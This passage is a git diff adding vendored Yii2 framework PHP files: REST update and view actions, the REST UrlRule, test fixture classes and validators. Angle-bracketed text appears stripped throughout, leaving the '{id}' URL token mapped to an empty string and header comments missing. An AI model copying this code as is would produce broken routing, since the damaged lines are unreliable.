+ ]; + } + + return $result; + } + + /** + * Serializes a set of models. + * @param array $models + * @return array the array representation of the models + */ + protected function serializeModels(array $models) + { + list ($fields, $expand) = $this->getRequestedFields(); + foreach ($models as $i => $model) { + if ($model instanceof Arrayable) { + $models[$i] = $model->toArray($fields, $expand); + } elseif (is_array($model)) { + $models[$i] = ArrayHelper::toArray($model); + } + } + + return $models; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/UpdateAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/UpdateAction.php new file mode 100644 index 00000000..689872fe --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/UpdateAction.php @@ -0,0 +1,52 @@ + + * @since 2.0 + */ +class UpdateAction extends Action +{ + /** + * @var string the scenario to be assigned to the model before it is validated and updated. + */ + public $scenario = Model::SCENARIO_DEFAULT; + + + /** + * Updates an existing model. + * @param string $id the primary key of the model. + * @return \yii\db\ActiveRecordInterface the model being updated + * @throws \Exception if there is any error when updating the model + */ + public function run($id) + { + /* @var $model ActiveRecord */ + $model = $this->findModel($id); + + if ($this->checkAccess) { + call_user_func($this->checkAccess, $this->id, $model); + } + + $model->scenario = $this->scenario; + $model->load(Yii::$app->getRequest()->getBodyParams(), ''); + if ($model->save() === false && !$model->hasErrors()) { + throw new ServerErrorHttpException('Failed to update the object for unknown reason.'); + } + + return $model; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/UrlRule.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/UrlRule.php new file mode 100644 index 00000000..565da5b2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/UrlRule.php @@ -0,0 +1,252 @@ + 'yii\rest\UrlRule', + * 'controller' => 'user', + * ] + * ``` + * + * The above code will create a whole set of URL rules supporting the following RESTful API endpoints: + * + * - `'PUT,PATCH users/' => 'user/update'`: update a user + * - `'DELETE users/' => 'user/delete'`: delete a user + * - `'GET,HEAD users/' => 'user/view'`: return the details/overview/options of a user + * - `'POST users' => 'user/create'`: create a new user + * - `'GET,HEAD users' => 'user/index'`: return a list/overview/options of users + * - `'users/' => 'user/options'`: process all unhandled verbs of a user + * - `'users' => 'user/options'`: process all unhandled verbs of user collection + * + * You may configure [[only]] and/or [[except]] to disable some of the above rules. + * You may configure [[patterns]] to completely redefine your own list of rules. + * You may configure [[controller]] with multiple controller IDs to generate rules for all these controllers. + * For example, the following code will disable the `delete` rule and generate rules for both `user` and `post` controllers: + * + * ```php + * [ + * 'class' => 'yii\rest\UrlRule', + * 'controller' => ['user', 'post'], + * 'except' => ['delete'], + * ] + * ``` + * + * The property [[controller]] is required and should represent one or multiple controller IDs. + * Each controller ID should be prefixed with the module ID if the controller is within a module. + * The controller ID used in the pattern will be automatically pluralized (e.g. `user` becomes `users` + * as shown in the above examples). + * + * @author Qiang Xue + * @since 2.0 + */ +class UrlRule extends CompositeUrlRule +{ + /** + * @var string the common prefix string shared by all patterns. + */ + public $prefix; + /** + * @var string the suffix that will be assigned to [[\yii\web\UrlRule::suffix]] for every generated rule. + */ + public $suffix; + /** + * @var string|array the controller ID (e.g. `user`, `post-comment`) that the rules in this composite rule + * are dealing with. It should be prefixed with the module ID if the controller is within a module (e.g. `admin/user`). + * + * By default, the controller ID will be pluralized automatically when it is put in the patterns of the + * generated rules. If you want to explicitly specify how the controller ID should appear in the patterns, + * you may use an array with the array key being as the controller ID in the pattern, and the array value + * the actual controller ID. For example, `['u' => 'user']`. + * + * You may also pass multiple controller IDs as an array. If this is the case, this composite rule will + * generate applicable URL rules for EVERY specified controller. For example, `['user', 'post']`. + */ + public $controller; + /** + * @var array list of acceptable actions. If not empty, only the actions within this array + * will have the corresponding URL rules created. + * @see patterns + */ + public $only = []; + /** + * @var array list of actions that should be excluded. Any action found in this array + * will NOT have its URL rules created. + * @see patterns + */ + public $except = []; + /** + * @var array patterns for supporting extra actions in addition to those listed in [[patterns]]. + * The keys are the patterns and the values are the corresponding action IDs. + * These extra patterns will take precedence over [[patterns]]. + */ + public $extraPatterns = []; + /** + * @var array list of tokens that should be replaced for each pattern. The keys are the token names, + * and the values are the corresponding replacements. + * @see patterns + */ + public $tokens = [ + '{id}' => '', + ]; + /** + * @var array list of possible patterns and the corresponding actions for creating the URL rules. + * The keys are the patterns and the values are the corresponding actions. + * The format of patterns is `Verbs Pattern`, where `Verbs` stands for a list of HTTP verbs separated + * by comma (without space). If `Verbs` is not specified, it means all verbs are allowed. + * `Pattern` is optional. It will be prefixed with [[prefix]]/[[controller]]/, + * and tokens in it will be replaced by [[tokens]]. + */ + public $patterns = [ + 'PUT,PATCH {id}' => 'update', + 'DELETE {id}' => 'delete', + 'GET,HEAD {id}' => 'view', + 'POST' => 'create', + 'GET,HEAD' => 'index', + '{id}' => 'options', + '' => 'options', + ]; + /** + * @var array the default configuration for creating each URL rule contained by this rule. + */ + public $ruleConfig = [ + 'class' => 'yii\web\UrlRule', + ]; + /** + * @var boolean whether to automatically pluralize the URL names for controllers. + * If true, a controller ID will appear in plural form in URLs. For example, `user` controller + * will appear as `users` in URLs. + * @see controller + */ + public $pluralize = true; + + + /** + * @inheritdoc + */ + public function init() + { + if (empty($this->controller)) { + throw new InvalidConfigException('"controller" must be set.'); + } + + $controllers = []; + foreach ((array) $this->controller as $urlName => $controller) { + if (is_integer($urlName)) { + $urlName = $this->pluralize ? Inflector::pluralize($controller) : $controller; + } + $controllers[$urlName] = $controller; + } + $this->controller = $controllers; + + $this->prefix = trim($this->prefix, '/'); + + parent::init(); + } + + /** + * @inheritdoc + */ + protected function createRules() + { + $only = array_flip($this->only); + $except = array_flip($this->except); + $patterns = array_merge($this->patterns, $this->extraPatterns); + $rules = []; + foreach ($this->controller as $urlName => $controller) { + $prefix = trim($this->prefix . '/' . $urlName, '/'); + foreach ($patterns as $pattern => $action) { + if (!isset($except[$action]) && (empty($only) || isset($only[$action]))) { + $rules[$urlName][] = $this->createRule($pattern, $prefix, $controller . '/' . $action); + } + } + } + + return $rules; + } + + /** + * Creates a URL rule using the given pattern and action. + * @param string $pattern + * @param string $prefix + * @param string $action + * @return \yii\web\UrlRuleInterface + */ + protected function createRule($pattern, $prefix, $action) + { + $verbs = 'GET|HEAD|POST|PUT|PATCH|DELETE|OPTIONS'; + if (preg_match("/^((?:($verbs),)*($verbs))(?:\\s+(.*))?$/", $pattern, $matches)) { + $verbs = explode(',', $matches[1]); + $pattern = isset($matches[4]) ? $matches[4] : ''; + } else { + $verbs = []; + } + + $config = $this->ruleConfig; + $config['verb'] = $verbs; + $config['pattern'] = rtrim($prefix . '/' . strtr($pattern, $this->tokens), '/'); + $config['route'] = $action; + if (!in_array('GET', $verbs)) { + $config['mode'] = \yii\web\UrlRule::PARSING_ONLY; + } + $config['suffix'] = $this->suffix; + + return Yii::createObject($config); + } + + /** + * @inheritdoc + */ + public function parseRequest($manager, $request) + { + $pathInfo = $request->getPathInfo(); + foreach ($this->rules as $urlName => $rules) { + if (strpos($pathInfo, $urlName) !== false) { + foreach ($rules as $rule) { + /* @var $rule \yii\web\UrlRule */ + if (($result = $rule->parseRequest($manager, $request)) !== false) { + Yii::trace("Request parsed with URL rule: {$rule->name}", __METHOD__); + + return $result; + } + } + } + } + + return false; + } + + /** + * @inheritdoc + */ + public function createUrl($manager, $route, $params) + { + foreach ($this->controller as $urlName => $controller) { + if (strpos($route, $controller) !== false) { + foreach ($this->rules[$urlName] as $rule) { + /* @var $rule \yii\web\UrlRule */ + if (($url = $rule->createUrl($manager, $route, $params)) !== false) { + return $url; + } + } + } + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/ViewAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/ViewAction.php new file mode 100644 index 00000000..3cca5c09 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/ViewAction.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +class ViewAction extends Action +{ + /** + * Displays a model. + * @param string $id the primary key of the model. + * @return \yii\db\ActiveRecordInterface the model being displayed + */ + public function run($id) + { + $model = $this->findModel($id); + if ($this->checkAccess) { + call_user_func($this->checkAccess, $this->id, $model); + } + + return $model; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/ActiveFixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/ActiveFixture.php new file mode 100644 index 00000000..5dcdff8e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/ActiveFixture.php @@ -0,0 +1,153 @@ + + * @since 2.0 + */ +class ActiveFixture extends BaseActiveFixture +{ + /** + * @var string the name of the database table that this fixture is about. If this property is not set, + * the table name will be determined via [[modelClass]]. + * @see modelClass + */ + public $tableName; + /** + * @var string|boolean the file path or path alias of the data file that contains the fixture data + * to be returned by [[getData()]]. If this is not set, it will default to `FixturePath/data/TableName.php`, + * where `FixturePath` stands for the directory containing this fixture class, and `TableName` stands for the + * name of the table associated with this fixture. You can set this property to be false to prevent loading any data. + */ + public $dataFile; + + /** + * @var TableSchema the table schema for the table associated with this fixture + */ + private $_table; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if (!isset($this->modelClass) && !isset($this->tableName)) { + throw new InvalidConfigException('Either "modelClass" or "tableName" must be set.'); + } + } + + /** + * Loads the fixture. + * + * The default implementation will first clean up the table by calling [[resetTable()]]. + * It will then populate the table with the data returned by [[getData()]]. + * + * If you override this method, you should consider calling the parent implementation + * so that the data returned by [[getData()]] can be populated into the table. + */ + public function load() + { + $this->resetTable(); + $this->data = []; + $table = $this->getTableSchema(); + foreach ($this->getData() as $alias => $row) { + $this->db->createCommand()->insert($table->fullName, $row)->execute(); + if ($table->sequenceName !== null) { + foreach ($table->primaryKey as $pk) { + if (!isset($row[$pk])) { + $row[$pk] = $this->db->getLastInsertID($table->sequenceName); + break; + } + } + } + $this->data[$alias] = $row; + } + } + + /** + * Returns the fixture data. + * + * The default implementation will try to return the fixture data by including the external file specified by [[dataFile]]. + * The file should return an array of data rows (column name => column value), each corresponding to a row in the table. + * + * If the data file does not exist, an empty array will be returned. + * + * @return array the data rows to be inserted into the database table. + */ + protected function getData() + { + if ($this->dataFile === null) { + $class = new \ReflectionClass($this); + $dataFile = dirname($class->getFileName()) . '/data/' . $this->getTableSchema()->fullName . '.php'; + + return is_file($dataFile) ? require($dataFile) : []; + } else { + return parent::getData(); + } + } + + /** + * Removes all existing data from the specified table and resets sequence number to 1 (if any). + * This method is called before populating fixture data into the table associated with this fixture. + */ + protected function resetTable() + { + $table = $this->getTableSchema(); + $this->db->createCommand()->delete($table->fullName)->execute(); + if ($table->sequenceName !== null) { + $this->db->createCommand()->resetSequence($table->fullName, 1)->execute(); + } + } + + /** + * @return TableSchema the schema information of the database table associated with this fixture. + * @throws \yii\base\InvalidConfigException if the table does not exist + */ + public function getTableSchema() + { + if ($this->_table !== null) { + return $this->_table; + } + + $db = $this->db; + $tableName = $this->tableName; + if ($tableName === null) { + /* @var $modelClass \yii\db\ActiveRecord */ + $modelClass = $this->modelClass; + $tableName = $modelClass::tableName(); + } + + $this->_table = $db->getSchema()->getTableSchema($tableName); + if ($this->_table === null) { + throw new InvalidConfigException("Table does not exist: {$tableName}"); + } + + return $this->_table; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/ArrayFixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/ArrayFixture.php new file mode 100644 index 00000000..61605719 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/ArrayFixture.php @@ -0,0 +1,76 @@ + + * @since 2.0 + */ +class ArrayFixture extends Fixture implements \IteratorAggregate, \ArrayAccess, \Countable +{ + use ArrayAccessTrait; + + /** + * @var array the data rows. Each array element represents one row of data (column name => column value). + */ + public $data = []; + /** + * @var string|boolean the file path or path alias of the data file that contains the fixture data + * to be returned by [[getData()]]. You can set this property to be false to prevent loading any data. + */ + public $dataFile; + + /** + * Loads the fixture. + * + * The default implementation simply stores the data returned by [[getData()]] in [[data]]. + * You should usually override this method by putting the data into the underlying database. + */ + public function load() + { + $this->data = $this->getData(); + } + + /** + * Returns the fixture data. + * + * The default implementation will try to return the fixture data by including the external file specified by [[dataFile]]. + * The file should return the data array that will be stored in [[data]] after inserting into the database. + * + * @return array the data to be put into the database + * @throws InvalidConfigException if the specified data file does not exist. + */ + protected function getData() + { + if ($this->dataFile === false || $this->dataFile === null) { + return []; + } + $dataFile = Yii::getAlias($this->dataFile); + if (is_file($dataFile)) { + return require($dataFile); + } else { + throw new InvalidConfigException("Fixture data file does not exist: {$this->dataFile}"); + } + } + + /** + * @inheritdoc + */ + public function unload() + { + parent::unload(); + $this->data = []; + } + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/BaseActiveFixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/BaseActiveFixture.php new file mode 100644 index 00000000..21f7bbf6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/BaseActiveFixture.php @@ -0,0 +1,118 @@ + + * @since 2.0 + */ +abstract class BaseActiveFixture extends DbFixture implements \IteratorAggregate, \ArrayAccess, \Countable +{ + use ArrayAccessTrait; + + /** + * @var string the AR model class associated with this fixture. + */ + public $modelClass; + /** + * @var array the data rows. Each array element represents one row of data (column name => column value). + */ + public $data = []; + /** + * @var string|boolean the file path or path alias of the data file that contains the fixture data + * to be returned by [[getData()]]. You can set this property to be false to prevent loading any data. + */ + public $dataFile; + + /** + * @var \yii\db\ActiveRecord[] the loaded AR models + */ + private $_models = []; + + + /** + * Returns the AR model by the specified model name. + * A model name is the key of the corresponding data row in [[data]]. + * @param string $name the model name. + * @return null|\yii\db\ActiveRecord the AR model, or null if the model cannot be found in the database + * @throws \yii\base\InvalidConfigException if [[modelClass]] is not set. + */ + public function getModel($name) + { + if (!isset($this->data[$name])) { + return null; + } + if (array_key_exists($name, $this->_models)) { + return $this->_models[$name]; + } + + if ($this->modelClass === null) { + throw new InvalidConfigException('The "modelClass" property must be set.'); + } + $row = $this->data[$name]; + /* @var $modelClass \yii\db\ActiveRecord */ + $modelClass = $this->modelClass; + /* @var $model \yii\db\ActiveRecord */ + $model = new $modelClass; + $keys = []; + foreach ($model->primaryKey() as $key) { + $keys[$key] = isset($row[$key]) ? $row[$key] : null; + } + + return $this->_models[$name] = $modelClass::findOne($keys); + } + + /** + * Loads the fixture. + * + * The default implementation simply stores the data returned by [[getData()]] in [[data]]. + * You should usually override this method by putting the data into the underlying database. + */ + public function load() + { + $this->data = $this->getData(); + } + + /** + * Returns the fixture data. + * + * The default implementation will try to return the fixture data by including the external file specified by [[dataFile]]. + * The file should return the data array that will be stored in [[data]] after inserting into the database. + * + * @return array the data to be put into the database + * @throws InvalidConfigException if the specified data file does not exist. + */ + protected function getData() + { + if ($this->dataFile === false || $this->dataFile === null) { + return []; + } + $dataFile = Yii::getAlias($this->dataFile); + if (is_file($dataFile)) { + return require($dataFile); + } else { + throw new InvalidConfigException("Fixture data file does not exist: {$this->dataFile}"); + } + } + + /** + * @inheritdoc + */ + public function unload() + { + parent::unload(); + $this->data = []; + $this->_models = []; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/DbFixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/DbFixture.php new file mode 100644 index 00000000..b33f6e78 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/DbFixture.php @@ -0,0 +1,41 @@ + + * @since 2.0 + */ +abstract class DbFixture extends Fixture +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbFixture object is created, if you want to change this property, you should only assign it + * with a DB connection object. + */ + public $db = 'db'; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Object::className()); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/Fixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/Fixture.php new file mode 100644 index 00000000..7c9255a3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/Fixture.php @@ -0,0 +1,84 @@ + + * @since 2.0 + */ +class Fixture extends Component +{ + /** + * @var array the fixtures that this fixture depends on. This must be a list of the dependent + * fixture class names. + */ + public $depends = []; + + + /** + * Loads the fixture. + * This method is called before performing every test method. + * You should override this method with concrete implementation about how to set up the fixture. + */ + public function load() + { + } + + /** + * This method is called BEFORE any fixture data is loaded for the current test. + */ + public function beforeLoad() + { + } + + /** + * This method is called AFTER all fixture data have been loaded for the current test. + */ + public function afterLoad() + { + } + + /** + * Unloads the fixture. + * This method is called after every test method finishes. + * You may override this method to perform necessary cleanup work for the fixture. + */ + public function unload() + { + } + + /** + * This method is called BEFORE any fixture data is unloaded for the current test. + */ + public function beforeUnload() + { + } + + /** + * This method is called AFTER all fixture data have been unloaded for the current test. + */ + public function afterUnload() + { + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/FixtureTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/test/FixtureTrait.php new file mode 100644 index 00000000..e67d12d6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/FixtureTrait.php @@ -0,0 +1,208 @@ +fixtureName('model name')`. + * + * @author Qiang Xue + * @since 2.0 + */ +trait FixtureTrait +{ + /** + * @var array the list of fixture objects available for the current test. + * The array keys are the corresponding fixture class names. + * The fixtures are listed in their dependency order. That is, fixture A is listed before B + * if B depends on A. + */ + private $_fixtures; + + + /** + * Declares the fixtures that are needed by the current test case. + * The return value of this method must be an array of fixture configurations. For example, + * + * ```php + * [ + * // anonymous fixture + * PostFixture::className(), + * // "users" fixture + * 'users' => UserFixture::className(), + * // "cache" fixture with configuration + * 'cache' => [ + * 'class' => CacheFixture::className(), + * 'host' => 'xxx', + * ], + * ] + * ``` + * + * Note that the actual fixtures used for a test case will include both [[globalFixtures()]] + * and [[fixtures()]]. + * + * @return array the fixtures needed by the current test case + */ + public function fixtures() + { + return []; + } + + /** + * Declares the fixtures shared required by different test cases. + * The return value should be similar to that of [[fixtures()]]. + * You should usually override this method in a base class. + * @return array the fixtures shared and required by different test cases. + * @see fixtures() + */ + public function globalFixtures() + { + return []; + } + + /** + * Loads the specified fixtures. + * This method will call [[Fixture::load()]] for every fixture object. + * @param Fixture[] $fixtures the fixtures to be loaded. If this parameter is not specified, + * the return value of [[getFixtures()]] will be used. + */ + public function loadFixtures($fixtures = null) + { + if ($fixtures === null) { + $fixtures = $this->getFixtures(); + } + + /* @var $fixture Fixture */ + foreach ($fixtures as $fixture) { + $fixture->beforeLoad(); + } + foreach ($fixtures as $fixture) { + $fixture->load(); + } + foreach (array_reverse($fixtures) as $fixture) { + $fixture->afterLoad(); + } + } + + /** + * Unloads the specified fixtures. + * This method will call [[Fixture::unload()]] for every fixture object. + * @param Fixture[] $fixtures the fixtures to be loaded. If this parameter is not specified, + * the return value of [[getFixtures()]] will be used. + */ + public function unloadFixtures($fixtures = null) + { + if ($fixtures === null) { + $fixtures = $this->getFixtures(); + } + + /* @var $fixture Fixture */ + foreach ($fixtures as $fixture) { + $fixture->beforeUnload(); + } + $fixtures = array_reverse($fixtures); + foreach ($fixtures as $fixture) { + $fixture->unload(); + } + foreach ($fixtures as $fixture) { + $fixture->afterUnload(); + } + } + + /** + * Returns the fixture objects as specified in [[globalFixtures()]] and [[fixtures()]]. + * @return Fixture[] the loaded fixtures for the current test case + */ + public function getFixtures() + { + if ($this->_fixtures === null) { + $this->_fixtures = $this->createFixtures(array_merge($this->globalFixtures(), $this->fixtures())); + } + + return $this->_fixtures; + } + + /** + * Returns the named fixture. + * @param string $name the fixture name. This can be either the fixture alias name, or the class name if the alias is not used. + * @return Fixture the fixture object, or null if the named fixture does not exist. + */ + public function getFixture($name) + { + if ($this->_fixtures === null) { + $this->_fixtures = $this->createFixtures(array_merge($this->globalFixtures(), $this->fixtures())); + } + $name = ltrim($name, '\\'); + + return isset($this->_fixtures[$name]) ? $this->_fixtures[$name] : null; + } + + /** + * Creates the specified fixture instances. + * All dependent fixtures will also be created. + * @param array $fixtures the fixtures to be created. You may provide fixture names or fixture configurations. + * If this parameter is not provided, the fixtures specified in [[globalFixtures()]] and [[fixtures()]] will be created. + * @return Fixture[] the created fixture instances + * @throws InvalidConfigException if fixtures are not properly configured or if a circular dependency among + * the fixtures is detected. + */ + protected function createFixtures(array $fixtures) + { + // normalize fixture configurations + $config = []; // configuration provided in test case + $aliases = []; // class name => alias or class name + foreach ($fixtures as $name => $fixture) { + if (!is_array($fixture)) { + $class = ltrim($fixture, '\\'); + $fixtures[$name] = ['class' => $class]; + $aliases[$class] = is_integer($name) ? $class : $name; + } elseif (isset($fixture['class'])) { + $class = ltrim($fixture['class'], '\\'); + $config[$class] = $fixture; + $aliases[$class] = $name; + } else { + throw new InvalidConfigException("You must specify 'class' for the fixture '$name'."); + } + } + + // create fixture instances + $instances = []; + $stack = array_reverse($fixtures); + while (($fixture = array_pop($stack)) !== null) { + if ($fixture instanceof Fixture) { + $class = get_class($fixture); + $name = isset($aliases[$class]) ? $aliases[$class] : $class; + unset($instances[$name]); // unset so that the fixture is added to the last in the next line + $instances[$name] = $fixture; + } else { + $class = ltrim($fixture['class'], '\\'); + $name = isset($aliases[$class]) ? $aliases[$class] : $class; + if (!isset($instances[$name])) { + $instances[$name] = false; + $stack[] = $fixture = Yii::createObject($fixture); + foreach ($fixture->depends as $dep) { + // need to use the configuration provided in test case + $stack[] = isset($config[$dep]) ? $config[$dep] : ['class' => $dep]; + } + } elseif ($instances[$name] === false) { + throw new InvalidConfigException("A circular dependency is detected for fixture '$class'."); + } + } + } + + return $instances; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/test/InitDbFixture.php b/php/yii2/basic/vendor/yiisoft/yii2/test/InitDbFixture.php new file mode 100644 index 00000000..8b21da79 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/test/InitDbFixture.php @@ -0,0 +1,97 @@ + + * @since 2.0 + */ +class InitDbFixture extends DbFixture +{ + /** + * @var string the init script file that should be executed when loading this fixture. + * This should be either a file path or path alias. Note that if the file does not exist, + * no error will be raised. + */ + public $initScript = '@app/tests/fixtures/initdb.php'; + /** + * @var array list of database schemas that the test tables may reside in. Defaults to + * `['']`, meaning using the default schema (an empty string refers to the + * default schema). This property is mainly used when turning on and off integrity checks + * so that fixture data can be populated into the database without causing problem. + */ + public $schemas = ['']; + + + /** + * @inheritdoc + */ + public function beforeLoad() + { + $this->checkIntegrity(false); + } + + /** + * @inheritdoc + */ + public function afterLoad() + { + $this->checkIntegrity(true); + } + + /** + * @inheritdoc + */ + public function load() + { + $file = Yii::getAlias($this->initScript); + if (is_file($file)) { + require($file); + } + } + + /** + * @inheritdoc + */ + public function beforeUnload() + { + $this->checkIntegrity(false); + } + + /** + * @inheritdoc + */ + public function afterUnload() + { + $this->checkIntegrity(true); + } + + /** + * Toggles the DB integrity check. + * @param boolean $check whether to turn on or off the integrity check. + */ + public function checkIntegrity($check) + { + foreach ($this->schemas as $schema) { + $this->db->createCommand()->checkIntegrity($check, $schema)->execute(); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/BooleanValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/BooleanValidator.php new file mode 100644 index 00000000..2b902c86 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/BooleanValidator.php @@ -0,0 +1,92 @@ + + * @since 2.0 + */ +class BooleanValidator extends Validator +{ + /** + * @var mixed the value representing true status. Defaults to '1'. + */ + public $trueValue = '1'; + /** + * @var mixed the value representing false status. Defaults to '0'. + */ + public $falseValue = '0'; + /** + * @var boolean whether the comparison to [[trueValue]] and [[falseValue]] is strict. + * When this is true, the attribute value and type must both match those of [[trueValue]] or [[falseValue]]. + * Defaults to false, meaning only the value needs to be matched. + */ + public $strict = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} must be either "{true}" or "{false}".'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + $valid = !$this->strict && ($value == $this->trueValue || $value == $this->falseValue) + || $this->strict && ($value === $this->trueValue || $value === $this->falseValue); + if (!$valid) { + return [$this->message, [ + 'true' => $this->trueValue, + 'false' => $this->falseValue, + ]]; + } else { + return null; + } + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $options = [ + 'trueValue' => $this->trueValue, + 'falseValue' => $this->falseValue, + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + 'true' => $this->trueValue, + 'false' => $this->falseValue, + ], Yii::$app->language), + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + if ($this->strict) { + $options['strict'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.boolean(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/CompareValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/CompareValidator.php new file mode 100644 index 00000000..d96964b4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/CompareValidator.php @@ -0,0 +1,234 @@ + + * @since 2.0 + */ +class CompareValidator extends Validator +{ + /** + * @var string the name of the attribute to be compared with. When both this property + * and [[compareValue]] are set, the latter takes precedence. If neither is set, + * it assumes the comparison is against another attribute whose name is formed by + * appending '_repeat' to the attribute being validated. For example, if 'password' is + * being validated, then the attribute to be compared would be 'password_repeat'. + * @see compareValue + */ + public $compareAttribute; + /** + * @var mixed the constant value to be compared with. When both this property + * and [[compareAttribute]] are set, this property takes precedence. + * @see compareAttribute + */ + public $compareValue; + /** + * @var string the type of the values being compared. The follow types are supported: + * + * - string: the values are being compared as strings. No conversion will be done before comparison. + * - number: the values are being compared as numbers. String values will be converted into numbers before comparison. + */ + public $type = 'string'; + /** + * @var string the operator for comparison. The following operators are supported: + * + * - `==`: check if two values are equal. The comparison is done is non-strict mode. + * - `===`: check if two values are equal. The comparison is done is strict mode. + * - `!=`: check if two values are NOT equal. The comparison is done is non-strict mode. + * - `!==`: check if two values are NOT equal. The comparison is done is strict mode. + * - `>`: check if value being validated is greater than the value being compared with. + * - `>=`: check if value being validated is greater than or equal to the value being compared with. + * - `<`: check if value being validated is less than the value being compared with. + * - `<=`: check if value being validated is less than or equal to the value being compared with. + */ + public $operator = '=='; + /** + * @var string the user-defined error message. It may contain the following placeholders which + * will be replaced accordingly by the validator: + * + * - `{attribute}`: the label of the attribute being validated + * - `{value}`: the value of the attribute being validated + * - `{compareValue}`: the value or the attribute label to be compared with + * - `{compareAttribute}`: the label of the attribute to be compared with + */ + public $message; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + switch ($this->operator) { + case '==': + $this->message = Yii::t('yii', '{attribute} must be repeated exactly.'); + break; + case '===': + $this->message = Yii::t('yii', '{attribute} must be repeated exactly.'); + break; + case '!=': + $this->message = Yii::t('yii', '{attribute} must not be equal to "{compareValue}".'); + break; + case '!==': + $this->message = Yii::t('yii', '{attribute} must not be equal to "{compareValue}".'); + break; + case '>': + $this->message = Yii::t('yii', '{attribute} must be greater than "{compareValue}".'); + break; + case '>=': + $this->message = Yii::t('yii', '{attribute} must be greater than or equal to "{compareValue}".'); + break; + case '<': + $this->message = Yii::t('yii', '{attribute} must be less than "{compareValue}".'); + break; + case '<=': + $this->message = Yii::t('yii', '{attribute} must be less than or equal to "{compareValue}".'); + break; + default: + throw new InvalidConfigException("Unknown operator: {$this->operator}"); + } + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + if (is_array($value)) { + $this->addError($object, $attribute, Yii::t('yii', '{attribute} is invalid.')); + + return; + } + if ($this->compareValue !== null) { + $compareLabel = $compareValue = $this->compareValue; + } else { + $compareAttribute = $this->compareAttribute === null ? $attribute . '_repeat' : $this->compareAttribute; + $compareValue = $object->$compareAttribute; + $compareLabel = $object->getAttributeLabel($compareAttribute); + } + + if (!$this->compareValues($this->operator, $this->type, $value, $compareValue)) { + $this->addError($object, $attribute, $this->message, [ + 'compareAttribute' => $compareLabel, + 'compareValue' => $compareValue, + ]); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if ($this->compareValue === null) { + throw new InvalidConfigException('CompareValidator::compareValue must be set.'); + } + if (!$this->compareValues($this->operator, $this->type, $value, $this->compareValue)) { + return [$this->message, [ + 'compareAttribute' => $this->compareValue, + 'compareValue' => $this->compareValue, + ]]; + } else { + return null; + } + } + + /** + * Compares two values with the specified operator. + * @param string $operator the comparison operator + * @param string $type the type of the values being compared + * @param mixed $value the value being compared + * @param mixed $compareValue another value being compared + * @return boolean whether the comparison using the specified operator is true. + */ + protected function compareValues($operator, $type, $value, $compareValue) + { + if ($type === 'number') { + $value = floatval($value); + $compareValue = floatval($compareValue); + } else { + $value = (string) $value; + $compareValue = (string) $compareValue; + } + switch ($operator) { + case '==': + return $value == $compareValue; + case '===': + return $value === $compareValue; + case '!=': + return $value != $compareValue; + case '!==': + return $value !== $compareValue; + case '>': + return $value > $compareValue; + case '>=': + return $value >= $compareValue; + case '<': + return $value < $compareValue; + case '<=': + return $value <= $compareValue; + default: + return false; + } + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $options = [ + 'operator' => $this->operator, + 'type' => $this->type, + ]; + + if ($this->compareValue !== null) { + $options['compareValue'] = $this->compareValue; + $compareValue = $this->compareValue; + } else { + $compareAttribute = $this->compareAttribute === null ? $attribute . '_repeat' : $this->compareAttribute; + $compareValue = $object->getAttributeLabel($compareAttribute); + $options['compareAttribute'] = Html::getInputId($object, 